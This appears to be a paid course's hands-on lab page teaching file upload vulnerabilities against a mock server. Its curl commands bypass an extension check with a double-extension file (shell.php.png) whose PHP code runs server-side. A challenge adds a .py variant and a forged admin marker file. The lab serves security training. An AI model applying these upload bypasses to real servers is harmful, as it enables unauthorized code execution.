File Upload · Lab 19
Lab 19 Module 4 Hard

File Upload Vulnerabilities

A site lets users upload avatars. It accepts images. But the check is done on the file's extension — and the server executes whatever is uploaded. Upload a .php file and it runs on the server.

The rule: the upload endpoint accepts files and serves them back. The server's .php handler is active in the mock environment. Your job is to upload a payload that executes server-side and returns the flag.

Test

Copy these. Run them. Read what comes back.

Step 1 · Look at the upload endpoint

The endpoint describes itself, including what it accepts and what it rejects.

Terminal
curl -s "{LAB_API_BASE}/api/19/info"

What you'll see:

Response
{
  "upload": "/api/19/upload",
  "serve": "/api/19/files/{name}",
  "allowed": [".png", ".jpg", ".jpeg", ".gif"],
  "note": "files are executed based on extension; server runs on the mock environment"
}

Read the note carefully. The server executes files based on their extension. It only restricts what you can upload to image extensions. If you can get a non-image past the check, it will execute.

Step 2 · Upload a real image

Start with something the server accepts.

Terminal
printf '\x89PNG\r\n\x1a\n' > avatar.png
curl -s -X POST "{LAB_API_BASE}/api/19/upload" \
  -F "file=@avatar.png"

What you'll see:

Response
{
  "ok": true,
  "name": "avatar.png",
  "url": "/api/19/files/avatar.png",
  "checked": "extension .png OK"
}

Accepted. Now try uploading something that is not an image — a .php file directly.

Step 3 · Try to bypass the check

A naive upload of shell.php is rejected. But the check is on extension only. Try a double extension.

Terminal
cat > shell.php.png <<'PAYLOAD'
<?php
  echo "HL{up104d_sh3ll_3x3cut3d}";
?>
PAYLOAD

curl -s -X POST "{LAB_API_BASE}/api/19/upload" \
  -F "file=@shell.php.png"

What you'll see:

Response
{
  "ok": true,
  "name": "shell.php.png",
  "url": "/api/19/files/shell.php.png",
  "checked": "extension .png OK"
}

The server checked the last extension (.png) and accepted it. But the server's execution handler walks extensions left to right, and it sees .php first. Fetch the file — it executes.

Terminal
curl -s "{LAB_API_BASE}/api/19/files/shell.php.png"

What you'll see:

Response
HL{up104d_sh3ll_3x3cut3d}

Your PHP file executed on the server. It returned the flag. You uploaded code — and the code ran.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The double extension worked because the upload check looks at the last dot. The server also has a second execution handler for .py files. A file named exploit.py.jpg would be accepted by the check, and executed by the Python handler.

The final flag is at /api/19/admin/flag. That endpoint requires an admin marker file to exist in the uploads directory. Upload a file named admin.marker (any extension not blocked works, e.g. admin.marker.png) with content that begins with ROLE: admin. Then fetch the admin flag.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 19 — File Upload Vulnerabilities

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →